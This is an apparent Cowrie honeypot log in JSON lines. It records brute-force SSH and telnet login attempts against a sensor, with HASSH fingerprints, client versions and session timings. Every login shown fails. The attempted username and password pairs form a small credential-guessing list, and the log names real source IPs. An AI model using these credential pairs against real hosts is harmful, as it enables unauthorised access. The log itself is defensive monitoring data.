{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:51.983136Z","src_ip":"57.128.222.14","session":"8905231b6f22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.73.9","src_port":51348,"dst_ip":"10.17.0.5","dst_port":22,"session":"2df3100407b5","protocol":"ssh","message":"New connection: 167.172.73.9:51348 (10.17.0.5:22) [session: 2df3100407b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:52.339491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:52.344244Z","src_ip":"167.172.73.9","session":"2df3100407b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passwd1234","message":"login attempt [root/Passwd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:52.437490Z","src_ip":"57.128.222.14","session":"8905231b6f22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:52.581207Z","src_ip":"167.172.73.9","session":"2df3100407b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.75147819519043,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:52.666115Z","src_ip":"38.60.198.128","session":"0471756a0f9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:53.548553Z","src_ip":"57.128.222.14","session":"8905231b6f22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1230","message":"login attempt [root/admin1230] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:53.563468Z","src_ip":"167.172.73.9","session":"2df3100407b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56140,"dst_ip":"10.17.0.5","dst_port":22,"session":"2569e15ec06c","protocol":"ssh","message":"New connection: 176.65.132.129:56140 (10.17.0.5:22) [session: 2569e15ec06c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:53.863754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:53.869326Z","src_ip":"176.65.132.129","session":"2569e15ec06c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:53.950925Z","src_ip":"176.65.132.129","session":"2569e15ec06c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changemeNOW","message":"login attempt [root/changemeNOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:54.196213Z","src_ip":"176.65.132.129","session":"2569e15ec06c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:54.803180Z","src_ip":"167.172.73.9","session":"2df3100407b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:55.281303Z","src_ip":"176.65.132.129","session":"2569e15ec06c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.7362265586853,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:56.282465Z","src_ip":"38.60.198.128","session":"c84f32d6e990","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48882,"dst_ip":"10.17.0.5","dst_port":22,"session":"16365f19a102","protocol":"ssh","message":"New connection: 176.65.132.129:48882 (10.17.0.5:22) [session: 16365f19a102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:57.436390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:57.441295Z","src_ip":"176.65.132.129","session":"16365f19a102","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:57.523743Z","src_ip":"176.65.132.129","session":"16365f19a102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:57.778375Z","src_ip":"176.65.132.129","session":"16365f19a102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:36:58.864624Z","src_ip":"176.65.132.129","session":"16365f19a102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48894,"dst_ip":"10.17.0.5","dst_port":22,"session":"d127e5b56ae6","protocol":"ssh","message":"New connection: 176.65.132.129:48894 (10.17.0.5:22) [session: d127e5b56ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:00.804388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:00.809181Z","src_ip":"176.65.132.129","session":"d127e5b56ae6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.419121503829956,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:00.817934Z","src_ip":"192.211.53.160","session":"57ad8a9a3889","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:00.897328Z","src_ip":"176.65.132.129","session":"d127e5b56ae6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tiki2025@!","message":"login attempt [root/Tiki2025@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:01.157295Z","src_ip":"176.65.132.129","session":"d127e5b56ae6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.8761510848999,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:02.122445Z","src_ip":"38.60.198.128","session":"ff61efc9f43d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:02.242767Z","src_ip":"176.65.132.129","session":"d127e5b56ae6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48914,"dst_ip":"10.17.0.5","dst_port":22,"session":"67fd2e2b53cf","protocol":"ssh","message":"New connection: 176.65.132.129:48914 (10.17.0.5:22) [session: 67fd2e2b53cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:04.169122Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56546,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9dab19475e7","protocol":"telnet","message":"New connection: 38.60.198.128:56546 (159.203.135.109:23) [session: c9dab19475e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:04.261696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:04.266670Z","src_ip":"176.65.132.129","session":"67fd2e2b53cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:04.270180Z","src_ip":"176.65.132.129","session":"67fd2e2b53cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:04.634307Z","src_ip":"176.65.132.129","session":"67fd2e2b53cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58912,"dst_ip":"159.203.135.109","dst_port":23,"session":"45f55ca4fa78","protocol":"telnet","message":"New connection: 38.60.198.128:58912 (159.203.135.109:23) [session: 45f55ca4fa78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:05.591314Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:05.724040Z","src_ip":"176.65.132.129","session":"67fd2e2b53cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44924,"dst_ip":"10.17.0.5","dst_port":22,"session":"5160e22cd348","protocol":"ssh","message":"New connection: 176.65.132.129:44924 (10.17.0.5:22) [session: 5160e22cd348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:07.696869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:07.702327Z","src_ip":"176.65.132.129","session":"5160e22cd348","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:07.786369Z","src_ip":"176.65.132.129","session":"5160e22cd348","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:08.040987Z","src_ip":"176.65.132.129","session":"5160e22cd348","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:09.126560Z","src_ip":"176.65.132.129","session":"5160e22cd348","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44932,"dst_ip":"10.17.0.5","dst_port":22,"session":"13e9a1b5990e","protocol":"ssh","message":"New connection: 176.65.132.129:44932 (10.17.0.5:22) [session: 13e9a1b5990e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:11.083871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:11.088870Z","src_ip":"176.65.132.129","session":"13e9a1b5990e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:11.170917Z","src_ip":"176.65.132.129","session":"13e9a1b5990e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:11.649795Z","src_ip":"176.65.132.129","session":"13e9a1b5990e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.26842784881592,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:11.773855Z","src_ip":"38.60.198.128","session":"6216f4230f1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:12.734871Z","src_ip":"176.65.132.129","session":"13e9a1b5990e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44946,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba556f494d1a","protocol":"ssh","message":"New connection: 176.65.132.129:44946 (10.17.0.5:22) [session: ba556f494d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:14.758350Z"}
